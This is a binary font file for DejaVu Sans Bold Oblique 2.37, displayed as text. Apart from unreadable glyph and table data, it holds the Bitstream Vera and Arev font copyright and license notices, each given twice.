	h�&�&�&�&�&���2���7�<�8���9�u�:���<��F���G���W���Y���Z���\�k������������������������������������������������������k���k�������������������������������������������$�<�%���&�<�'���*���,���.���0���2���4���6���7���8��9�k�:�����������<����������k������������������������������k�
��
h�
��
	h����6��������� ���"������&�<�a���a�8�a�:�a��a���a�
���
	������&����9���;���<�k���k�:�k����&����9���;���<�k���k�:�k����&����9���;���<�k���k�:�k����&����9���;���<�k���k�:�k����&����9���;���<�k���k�:�k����&����$���9���;���<���������������������������:���$�����������������������$�����������������������$�����������������������$���������������������������������N��N�$�<�&���2���D�
�H���R���X����<���<���<���<���<�������������������������������
���
���
���
���
���
���
��������������������������������������������������������������������1��
���
	�k�\�����������\�����������\�����������\�����������\�����������\������������a��D��a��D�&�&�&�&�&���2���7�<�8���9�u�:���<��F���G���W���Y���Z���\�k������������������������������������������������������k���k�������������������������������������������$�<�%���&�<�'���*���,���.���0���2���4���6���7���8��9�k�:�����������<����������k������������������������������k�
��
h�
��
	h�&�&�&�&�&���2���7�<�8���9�u�:���<��F���G���W���Y���Z���\�k������������������������������������������������������k���k�������������������������������������������$�<�%���&�<�'���*���,���.���0���2���4���6���7���8��9�k�:�����������<����������k������������������������������k�
��
h�
��
	h�&�&�&�&�&���2���7�<�8���9�u�:���<��F���G���W���Y���Z���\�k������������������������������������������������������k���k�������������������������������������������$�<�%���&�<�'���*���,���.���0���2���4���6���7���8��9�k�:�����������<����������k������������������������������k�
��
h�
��
	h�6��������� ���"������6��������� ���"������6��������� ���"������6��������� ���"������&�<�a���a�8�a�:�a��a���a�
���
	���&�<�a���a�8�a�:�a��a���a�
���
	���7���<�������&���:���2���7���8���9���:�N�<���\�������������������������������������������������������&���0���:���
��
���2���7���8���9���:�N�<���\�������������������������������������������������������&���0���:���
��
��O��2��7��8��9��:�a<��\����������������������������������������&��0��:��
��
��&&7��<�DH��R��X��\�}��D��������������������������������������������}��}����&��1��:�D����
V
&&&7��<�DH��R��X��\�}��D��������������������������������������������}��}����&��1��:�D����
V
& 6��  �� "��"6��" ��""��&��&��&��&��&��&$�a&7/&D�
&F��&H��&R��&U�&V�
&X��&Z��&\��&��a&��a&��a&��a&��a&��
&��
&��
&��
&��
&��
&��
&���&���&���&���&���&���&���&���&���&���&���&���&���&���&���&���&���&��&��&��&��&�&�&!�
&#�
&&/&1��&
��&
	��'&��0$��0���0���0���0���0���00��:��:��:��:�N:�N:$�<:&��:2��:D�
:H��:R��:X�:��<:��<:��<:��<:��<:���:���:���:���:���:���:���:��
:��
:��
:��
:��
:��
:��
:���:���:���:���:���:���:���:���:���:���:��:��:��:��:��:��:��:��:��:1�:
��:
	�k?�k}$��}-��}9&}<K}���}���}���}���}���}���}�K}:K	�7��	�9�k	�:��	�;�2	�<��	����	�&��	�:��
$��
-��
9&
<K
���
���
���
���
���
���
�K
:K
7�<
9��
:�
<�a
��a
&�<
:�a
$��
-��
<&
���
���
���
���
���
���
�&
:&
	7�<
	9��
	:�
	<�a
	��a
	&�<
	:�a����������������$�a�7/�D�
�F���H���R���U��V�
�X���Z���\�����a���a���a���a���a���
���
���
���
���
���
���
�������������������������������������������������������������������������������������!�
�#�
�&/�1���
���
	�����&�}�2�}�8���:���H���R���X���\�2���}���}���}���}���}���}�������������������������������������������������������������������������������2���2��}��}�����N����0���1���
&�
	&�H���R������������������������������������������������#;��$;��%;��&;�x';��);��*;��+;��,;��-;��/;��0;��1;��2;��3;��5;��6;�x7;��8;��9;��DDDD�����4�$x�T�	P	�
���
�����tP������$�8���l�d  �!�"�$$�%h&'L(L(�)d)�**t*�*�+4,�-�.</4/�0�233�4X5T5�748$8�9�:�;�<�=�>�?�@�A�B�C`D�D�FF�F�G4HH�JKKPL�M,NTP0P�P�QRhR�S$S�TLU8U�V�WpW�X$X�Y�ZZ4ZTZt[p[�[�[�[�[�]4^,^D^\^t^�^�^�^�^�__�```4`L`d`|`�b�b�b�ccc0c�eHe`exe�e�e�e�g�g�g�g�g�hhh4hLhdi�i�i�i�jj j8j�k�k�k�k�ll$m m8mPmhm�m�m�m�m�m�nn(n@nXnpn�n�n�n�ppp0pHp`pxp�p�p�p�p�qq q8qPqhq�q�q�q�q�r�s�tt$t<tTtlt�t�t�t�uu@udu|u�u�u�v�v�v�www4wLwdw|x x�yy$y<yTyly�y�zz�z�z�z�z�{{ |}H}`}x}�}�}�}�}�~~ ~8~P~h~�~�~�~�~�~�<������ �8�P�h��������������(�@�X�p������������T�d���<���P���\�l��l�������T���D���@��������l�����D���0�@�������|��������0�����l���$�����������`���0�t���`����������p������d�t�������������4�L�d�|������������$�<�T�l��������������$�<�T�l���������,�D�\�t��������$�<�T�l�����\�t�������������4�L�d�|������������$�<�T�l��������������,�D�\�t�������h����,���X�L�(�x��������(�@�X�p���������������4���`�(��p������8���<��� ���8�H���\������$����T���H������4���`���h�������D�ì�Ĥ�0Ũ��\���@��� �\Ș��Xɔ�ʬ�@���l���͘�δ����d��� Ј���ь����ӈ���dԸ�ՠ� ֐ָ��<�p���8ذ�Pٴ�ڄ�ې۠�<�����`ݜ��H��<����x�8�������L���p��d���$�t��$�����(�@������(�h���(�T�|����(��������,�@�`�|��������8�h��0��$���D����,����h��������4�H�`�p�������� �4�H�\�p�����D�X�l����������<�X������������@�d������4�d���������`�|���������@�|�������0�L�x����������<�d���� ������(P|��T�� LL���(�����h|���<Xt����� �����0Hd|�����			 	�	�	�	�


X
h
x
�
�
�
��������

(
@
����<��� hx�Td�D�<���X��4L��(@�h����$�  �!t!�"T"�#�$\$�%�&$&�'�'�((�)8)H)X)h)�*P*`*p*�*�++�,,$,<,T,l,�--t-�-�-�-�.4.�///0/H/�/�/�/�0 0x0�0�1p1�1�22H2X2h2x2�2�2�2�33�3�3�4H4�4�5 585�5�6�6�6�7�7�88t8�8�9X9�9�9�:(:h:�:�:�:�;;,;<;�<<<<�<�==\=t=�>$>�???4?�?�@$@4@D@\@l@�APA�A�A�A�B8B�CCpC�DlEEHE�E�FTF�G<G�HTITJ`J�K0K@KPK�K�K�LL�M�NlOlO�O�O�O�PPP�QQ�Q�RR8RxTT�T�T�UtU�VTV�WW@W�W�X<X�YYxY�Y�Y�ZHZ�Z�[D[�[�\0\x\�]]D]�^4^�_�_�_�``@`P`�`�aada�a�b<b�ccpc�d8dHd�e�fPf�gg$g<g�h h|h�i,i�i�jj�j�k<k�k�k�k�k�k�lll4lLl\lll�l�l�l�l�l�mmm4mLmdm|m�m�m�m�m�m�nn,nDn\ntn�n�n�n�n�o oPoho�o�pHp�qqXq�rrlss�t�uHu�vxww�w�xx|x�yTy�y�y�z8z�z�{`{�|<|�}X}h}x}�}�}�~L~�t��������|���X��������,���`�����T��X�������l���h���`���8���\�����4���@��0���d�t�,�<�L�l�����D�h���P���<����H���`���8�\�������P��t� ���������������<���������,���P�`�$��������$�X��������(�X�t����������� �@�\�x����������8�d������L������P�����0�P�����,�����<������x������$�D�t�,��������T���`���D���,�����\���l�������P���X���|����8�����$�l�����,����`��� �DÔì�Ą��ńŤ��Ƥ�����4Ǩ�(Ș�P���l�8˔�x����Θ��\ϸ�,�|���LѸ���X���PӴ�@Ԑ���Pդ�ֈ��\פ���hش� ٘��|����tۼ�<܄��݄���D���h���@���@����$���d���P�� ��L��<��0���h�����P���X���4��H���H��<����(�X�p�������,�\�t����������4�L�d�|����������<�\�|����p����8�T�p����������(�T�l����������(�X�p�������������0�H�`�x���������� �p�������H�`�x�������4�L�d�|������������$�<�T�l��������(���� ���,D\t�����4Ld|��d|���$l����D\t�����4Ld|���@d|����8Ph������		(	@	X	p	�	�	�	�
@
d
�
�,D���$<Tl�����
P
�(l���4L����� 8Ph������4|��,l����$<Tl������,D\�,d�d|0H� 8Ph������(@X�(@t����4Ld|�����$<Tl����`��Tl��`x��� < � � �!X!p!�!�"@"X"p"�"�#�$0$�%|%�%�&`&x','D'\'t(((�),)D)�)�*l*�*�+++4+L+d+|+�+�+�+�,<,�,�-T-l-�-�-�-�-�-�.�/l/�/�0$0<0�0�0�101x1�1�1�242L2�33l3�44h4�4�4�4�4�55,5D5\5�5�6�7 707�7�808�8�9<9L9�9�9�9�9�::t;;�<<X<�= =�=�=�>P>�?P?`?p?�?�@@ @L@\@�@�AA`A�BHB|B�C0CdC�C�C�DDPD�D�EE�F0F�F�GG\G�H�H�I�JLJ�K`K�LpMM�M�NN�O0O�PPDP�P�Q\Q�R(R�R�S�S�TtT�UXUlU�U�U�U�U�V8VLV`V�V�W@W�X(X�X�Y�Z$Z�[[P[�\8\t\�\�],]�]�^^8^�_h_�`\`�`�a�b`b�cc�d$dpd�ee<e�e�fpf�gg(gLgpg�g�g�g�hh,hDh\hth�h�h�h�h�iii4iLidi|i�i�i�i�i�jj$j<jTjlj�j�j�j�j�kk$k<kTklk�k�k�k�k�k�ll,lDl\ltl�l�l�l�l�mmm4mLmdm|m�m�m�m�m�nn$n<nTnln�n�n�n�n�n�oo,oDo\oto�o�o�o�o�ppp4pLpdp|p�p�p�p�p�qq$q<q\q|q�q�q�q�q�rr$r<rTrlr�r�r�r�r�r�ss,sDs\sts�s�s�s�s�ttt4tLtdt|t�t�t�t�t�uu$u<uTulu�u�u�u�u�u�vv,vDv\vtv�v�w8w�xxx4xLxdx|x�x�x�x�x�yy$y<yTyly�y�y�y�y�y�zz,zDz\ztz�z�z�z�z�{{{4{L{d{|{�{�{�{�{�||$|<|T|l|�|�|�|�|�|�}},}D}\}t}�}�}�}�}�~~~4~L~d~|~�~�~�~�~�$<Tl��������,�D�\�t������$�<�T�l��������������,�D�\�x������������$�@�X�p�������������0�H�`�|������������0�H�`�x������������(�@�X�p������������ �8�P�h��������������,�D�\�t������������$�<�T�l�������������0�H�`�|�������������(�8�P�`�x��������������(�@�X�p�������������0�H�`�x������������ �8�P�h��������������(�@�X�p�������������0�H�`�x������������ �0�H�X�h�������������4�L�\�t�������������0�@�X�p��������������,�D�\�l��������������$�@�X�h�x�������������0�@�X�h����������������������������������������H���������H����(���l��H������0�L�|�4�P�P�P�P�P�P�P�P�P����������4�L�l����������8�L��������(�T����������H������ �X�p��� �������4�\����D����L����������������������������(�d���p���T����,�T�����0�D�X�l���������������� �4�H�\�p����������������$�8�L�`�����D������$�@�(���P�h�t���(�����@���\������d���D�h��������TŒ�t�p������ǐǠǴ����$�tʄ��ː�(�͌�,�p�(��А�ѠҬӬ�\՘�0���<��Pؔ��$٠ڈ����������X��ޜߔ����`����h��$��X����<���(�P�����p�������0�X�x�������8�X�x���������8�P�`�x��������0�@�P�`�p����������@�X�h����������8�����(����8����,�\�������4�|������<������\������L���$���h$|��,d���L�\$Lt���4Pl��`���	D	�
 
`
�
� |�X��

\
�
�L��8|�<|��<��D�|�X����@��8��0d��\�(�D��( x��8\�� 8 d �!4!D!p!�!�""�#8#�$ $�$�%%�&(&D&�&�'�'�'�(H(�(�))0*8+�-�.x/�0�0�1181d1|1�1�22h2�3D3�3�4L4�5 5�66�7L8D8�9�:�;;\<<�<�<�<�==(=H=�>>d>�>�?8?|@h@�AxBB4B�B�C4C�C�DD|D�E(ElFFpF�GG�G�H`H�I�J<J�J�KHK�LLHL�L�M�NN�N�O8O�O�PXP�QQ�RRhR�S@SXS�S�TTHT�T�T�U�VLWW�X�Y�Z|[<[�\�]L]�^,^P^�^�_(_L_�`L`�`�aaDa�a�bhb�c�c�c�ddPd�e�e�f8f`f�f�gg`g�g�g�hXh�h�ii4i�i�j0jtj�j�k<ktk�ltm<m�n�ooto�o�pPp�qqTq�q�rrhr�s�s�tPt�t�u`u�v\v�w<w�xxlx�x�x�x�yly�z(z@z�{{�{�|h|�}$}�}�~0~�~�@l����8�`���������$�L�l����������@�d����X�����`��������(�8�p����@�\�������$�H�d���������(��������d������0�����h����x�(���H�P���$�8����$�@�\�x������X������d����������<�`����������0�P�p��������<�d��������8�d��������<�d��������8�d��������0�X��������<�p������@�x����� �T�������$�H�t��������H�t������4�`��������L�|�����$�X�������<�p�����(�l�����(�X�������� �<�X�t����������0�T�|�����������8�T�p������������4�H���”¨¼������$�@�dÈÜô����� �tČ���Dƀ�ǐ�P�lɘɴ����(�H�|ʘ����� �L�h˔˰����$�@�l̴̈�����D�d͘���l��|�t�(��� �x���,ӈ���@�hԐ���`մ��4�`֌ּ��D�`�|ה׬�0�\؈ذ����`ٌٴ� �`ڠ��� ۠� ܠ� �H�pݘ������(�P�@߬�d�<��@����X��������������0�����\���@�t�H����@�����T�Hl�	�
p
�l�T�,P��4Tt����4�|X �D�l�H���<���� L �!`!�"P# #�$�&�'�(�)�*�,l-d-�.�/x00�1$1l22�3(3X4|5d5�66d6�77`7�8�9�;�<�=�>�?�@�A�B�C�D�E�G4H(H�I4I�J�L(M�OtPP�Q8Q�Q�RR R8RPRhR�SS�T�U4VLWW�X Y(Z�]�_@_�_�`H`�atb\cDc�d�e�f�g�h�ii�kl�nnHn�o$o�o�pDp�qq|r$stu�v w�y�{<~����L�����0�����,�����d���������(�\������l�����l�(���p���8���d�����L���X���@�����`���x����d�����D�D�����P� ��x�����T�(���,�����<Ĩ�ŀ���Pƴ������Hǔ� Ȱɬ�X�,˨�(�H�,Θ��DτϬ����,�TЀЬ���<Ѭ�X�0Ԝ�\֌�d���4�ޘ�|��������(��L���H����X�<����l������ �P����D�����D�t����<�h�����(�|����h������0�����(���h�������������4\���`(���Ll��	H	�	�

X
�
�
�
�8Tx����(Lx����

(
L
x
�
�
�,X����(Dh����Hl���8\���8\���H|���(Dh����Hl���8\���8\���H|���Hl���Ht��<x���(T���$X���8t���(Dh����  H l � � �!!8!\!�!�!�""8"\"�"�"�##H#|#�#�#�$$H$l$�$�$�%%H%t%�%�&&<&x&�&�&�'('T'�'�'�($(X(�(�(�)8)t)�)�)�**H*l*�*�*�++H+t+�+�,,<,x,�,�,�-(-T-�-�-�.$.X.�.�.�/8/t/�/�0040h0�0�0�181d1�1�22<2x2�2�3$3X3�3�3�484t4�4�5(5d5�5�6(6l6�77P7�7�8�9�: :�;;D;�;�;�<<T<�<�<�=L>>�?�?�@|AA�B�ChC�D�E�F�G<HH�IXJJtJ�J�KK,KhK�K�L,LtL�MMHNN�O8O�P<P�QPQ�R4R�SLS�T8T�T�U\U�U�VVdV�V�W8W�W�X|YY�Z0ZxZ�[$[�[�\0\�] ^^�_�`x`�aaPa�a�b(b|b�b�b�c cLcxc�c�ddHd�d�d�eeDepe�e�e�f(fXgg(gdg�g�g�h8h\h�h�i@i�jj�kLk�k�l<l�l�mmDm�nn@n�o o�o�php�p�q<q�r(r`rtr�shs�t(t�uu�vvtv�wtw�xx�y(y�y�z4z�{{d{�|@|�}L}�}�~0~�~�H��(�p���P����h���H������(�L�p�����0�H�`�x������������ �8�P�h��������������(�@�X�p�������������0�H�`�x������������ �8�P�h��������������(�@�X�p��������������T�d�t�����������,�<�L�\�l�|��������(�8�H�X���������H�X�h�x���������,�<��������������8�d�t�������\��(�@���d���\��� �l�����D�\�t��������l���8�|���(�8�H�X��������0�\��������(�P�x�������$�T�������(�\�����X������� �P�`�����D��p� �h���P���T��� �t����,�h���0���`���h�����\��������������\��������<�L����|����@������4���(����t�� �T������T�p��������� �4�H�\�p�������������0�D�X�|�����������D���8���H��T���@Ĩ�l���L���<ǜ�0Ȉ��|�8ʠ�D˴�8̬�4͌�Έ���X���\���DѼ�D���p�@Ԝ�Ո���T��0נ� ؜��\���H���|�ܐ�ݨ�L���`���x���x���0���� ��������� �8���$�����P���$�<�T�t����������$�<�X�t�t������������ �8�8�P�h�h����������(�@���������������������H������$�`����l����� �d����T�������\���8�x���<�t����������\����0�x���������4�P�l��������<d���0X����(Px���Dl���8`���0X����$Lx���@l���8`���		,	X	�	�	�	�
 
L
t
�
�
�@h���8`��

�(h�0h�0� ���@���||��,h�P@�P�\�x�h�T��     0 @ P ` p � � � � � � � �!!! !0!@!P!`!p!�!�!�!�!�!�!�!�""" "0"@"P"`"p"�"�"�"�"�"�"�"�### #0#@#P#`#p#�#�#�#�#�#�#�#�$$$ $0$@$P$`$p$�$�$�$�$�$�$�%%%,%<%L%\%l%|%�%�%�%�%�%�%�%�&&&,&<&L&\&l&|&�&�&�&�&�&�&�'�'�(H(�),)�*D*�+x,,<,t,�-�.�/�1`33�4L5L6�89�;�<p=l>�@$A�C�FGH<I�KxMtO�R$SXT�V�X�Z�]@_�alc(e(gdi�l�o�qPsXu�x(z�}��$�P����������t�(���`�`��������������8�����$� �\���������D�x���������L��x�4�$�`����Č�P�Xʠ�$������d� ��ٸڤۼ�hݜްߠ�T�,�����X�P�������������`�<����4���T�<������p�����X���`�8�0�H� �(�X p��|pl@� ��	D	�

p
������dh<x�\< H!("P#$#�$�%%�&�'�(<)4*++�,�-�.t/@0@1p2p3�4�5�6l7L8L:H;4<H=>h?,@AB�DE�F�G�H8IK`M�PTR\T�V�Y$Z�\�]x]�^^l_@_�``t`�a<aha�a�b bTb�b�b�cc4cPclc�c�c�c�c�dd0dLdhd�d�d�d�d�ee,ele�e�e�e�ffXfpf�f�f�gg�g�h$h�h�h�h�ii,iPiti�i�i�j8j�kk�l�l�%N+x@!>�2�	H��<�
�(�4;�<9<_	0	�	�	0	0a	�	,�	"	:N	
%:�	h;�	<!	<ECopyright (c) 2003 by Bitstream, Inc. All Rights Reserved.
Copyright (c) 2006 by Tavmjong Bah. All Rights Reserved.
DejaVu changes are in public domain
Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved.
Copyright (c) 2006 by Tavmjong Bah. All Rights Reserved.
DejaVu changes are in public domain
DejaVu SansDejaVu SansBold ObliqueBold ObliqueDejaVu Sans Bold ObliqueDejaVu Sans Bold ObliqueDejaVu Sans Bold ObliqueDejaVu Sans Bold ObliqueVersion 2.37Version 2.37DejaVuSans-BoldObliqueDejaVuSans-BoldObliqueDejaVu fonts teamDejaVu fonts teamhttp://dejavu.sourceforge.nethttp://dejavu.sourceforge.netFonts are (c) Bitstream (see below). DejaVu changes are in public domain. Glyphs imported from Arev fonts are (c) Tavmjung Bah (see below)

Bitstream Vera Fonts Copyright
------------------------------

Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved. Bitstream Vera is
a trademark of Bitstream, Inc.

Permission is hereby granted, free of charge, to any person obtaining a copy
of the fonts accompanying this license ("Fonts") and associated
documentation files (the "Font Software"), to reproduce and distribute the
Font Software, including without limitation the rights to use, copy, merge,
publish, distribute, and/or sell copies of the Font Software, and to permit
persons to whom the Font Software is furnished to do so, subject to the
following conditions:

The above copyright and trademark notices and this permission notice shall
be included in all copies of one or more of the Font Software typefaces.

The Font Software may be modified, altered, or added to, and in particular
the designs of glyphs or characters in the Fonts may be modified and
additional glyphs or characters may be added to the Fonts, only if the fonts
are renamed to names not containing either the words "Bitstream" or the word
"Vera".

This License becomes null and void to the extent applicable to Fonts or Font
Software that has been modified and is distributed under the "Bitstream
Vera" names.

The Font Software may be sold as part of a larger software package but no
copy of one or more of the Font Software typefaces may be sold by itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT,
TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL BITSTREAM OR THE GNOME
FOUNDATION BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING
ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF
THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE
FONT SOFTWARE.

Except as contained in this notice, the names of Gnome, the Gnome
Foundation, and Bitstream Inc., shall not be used in advertising or
otherwise to promote the sale, use or other dealings in this Font Software
without prior written authorization from the Gnome Foundation or Bitstream
Inc., respectively. For further information, contact: fonts at gnome dot
org. 

Arev Fonts Copyright
------------------------------

Copyright (c) 2006 by Tavmjong Bah. All Rights Reserved.

Permission is hereby granted, free of charge, to any person obtaining
a copy of the fonts accompanying this license ("Fonts") and
associated documentation files (the "Font Software"), to reproduce
and distribute the modifications to the Bitstream Vera Font Software,
including without limitation the rights to use, copy, merge, publish,
distribute, and/or sell copies of the Font Software, and to permit
persons to whom the Font Software is furnished to do so, subject to
the following conditions:

The above copyright and trademark notices and this permission notice
shall be included in all copies of one or more of the Font Software
typefaces.

The Font Software may be modified, altered, or added to, and in
particular the designs of glyphs or characters in the Fonts may be
modified and additional glyphs or characters may be added to the
Fonts, only if the fonts are renamed to names not containing either
the words "Tavmjong Bah" or the word "Arev".

This License becomes null and void to the extent applicable to Fonts
or Font Software that has been modified and is distributed under the 
"Tavmjong Bah Arev" names.

The Font Software may be sold as part of a larger software package but
no copy of one or more of the Font Software typefaces may be sold by
itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL
TAVMJONG BAH BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL
DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM
OTHER DEALINGS IN THE FONT SOFTWARE.

Except as contained in this notice, the name of Tavmjong Bah shall not
be used in advertising or otherwise to promote the sale, use or other
dealings in this Font Software without prior written authorization
from Tavmjong Bah. For further information, contact: tavmjong @ free
. fr.Fonts are (c) Bitstream (see below). DejaVu changes are in public domain. Glyphs imported from Arev fonts are (c) Tavmjung Bah (see below)

Bitstream Vera Fonts Copyright
------------------------------

Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved. Bitstream Vera is
a trademark of Bitstream, Inc.

Permission is hereby granted, free of charge, to any person obtaining a copy
of the fonts accompanying this license ("Fonts") and associated
documentation files (the "Font Software"), to reproduce and distribute the
Font Software, including without limitation the rights to use, copy, merge,
publish, distribute, and/or sell copies of the Font Software, and to permit
persons to whom the Font Software is furnished to do so, subject to the
following conditions:

The above copyright and trademark notices and this permission notice shall
be included in all copies of one or more of the Font Software typefaces.

The Font Software may be modified, altered, or added to, and in particular
the designs of glyphs or characters in the Fonts may be modified and
additional glyphs or characters may be added to the Fonts, only if the fonts
are renamed to names not containing either the words "Bitstream" or the word
"Vera".

This License becomes null and void to the extent applicable to Fonts or Font
Software that has been modified and is distributed under the "Bitstream
Vera" names.

The Font Software may be sold as part of a larger software package but no
copy of one or more of the Font Software typefaces may be sold by itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT,
TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL BITSTREAM OR THE GNOME
FOUNDATION BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING
ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF
THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE
FONT SOFTWARE.

Except as contained in this notice, the names of Gnome, the Gnome
Foundation, and Bitstream Inc., shall not be used in advertising or
otherwise to promote the sale, use or other dealings in this Font Software
without prior written authorization from the Gnome Foundation or Bitstream
Inc., respectively. For further information, contact: fonts at gnome dot
org. 

Arev Fonts Copyright
------------------------------

Copyright (c) 2006 by Tavmjong Bah. All Rights Reserved.

Permission is hereby granted, free of charge, to any person obtaining
a copy of the fonts accompanying this license ("Fonts") and
associated documentation files (the "Font Software"), to reproduce
and distribute the modifications to the Bitstream Vera Font Software,
including without limitation the rights to use, copy, merge, publish,
distribute, and/or sell copies of the Font Software, and to permit
persons to whom the Font Software is furnished to do so, subject to
the following conditions:

The above copyright and trademark notices and this permission notice
shall be included in all copies of one or more of the Font Software
typefaces.

The Font Software may be modified, altered, or added to, and in
particular the designs of glyphs or characters in the Fonts may be
modified and additional glyphs or characters may be added to the
Fonts, only if the fonts are renamed to names not containing either
the words "Tavmjong Bah" or the word "Arev".

This License becomes null and void to the extent applicable to Fonts
or Font Software that has been modified and is distributed under the 
"Tavmjong Bah Arev" names.

The Font Software may be sold as part of a larger software package but
no copy of one or more of the Font Software typefaces may be sold by
itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL
TAVMJONG BAH BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL
DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM
OTHER DEALINGS IN THE FONT SOFTWARE.

Except as contained in this notice, the name of Tavmjong Bah shall not
be used in advertising or otherwise to promote the sale, use or other
dealings in this Font Software without prior written authorization
from Tavmjong Bah. For further information, contact: tavmjong @ free
. fr.http://dejavu.sourceforge.net/wiki/index.php/Licensehttp://dejavu.sourceforge.net/wiki/index.php/LicenseDejaVu SansDejaVu SansBold ObliqueBold Oblique���~Z%	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a�����������������������������������bc�d�e�������f����g�����h���jikmln�oqprsutvw�xzy{}|��~�������	
�
�� !"#$%&'()*+��,-./0123456789:��;<=>?@ABCDEFGHI��JKLMNOPQRS����TUVWXYZ[\]^_`abcdefghi�jklm��nopqrstuvwxyz{|}~���������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~����������������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a�bcdefghijklmnopqrstuvw�xyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������												
			
																			 	!	"	#	$	%	&	'	(	)	*	+	,	-	.	/	0	1	2	3	4	5	6	7	8	9	:	;	<	=	>	?	@	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	[	\	]	^	_	`	a	b	c	d	e	f	g	h	i	j	k	l	m	n	o	p	q	r	s	t	u	v	w	x	y	z	{	|	}	~		�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�









	






















��
 
!
"���
#���
$���
%
&
'�
(
)
*
+
,
-
.
/
0�
1
2
3
4
5
6
7
8��
9
:
;
<
=
>
?
@
A�
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
[
\
]
^
_
`
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
{
|
}
~

�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
��
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
��
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
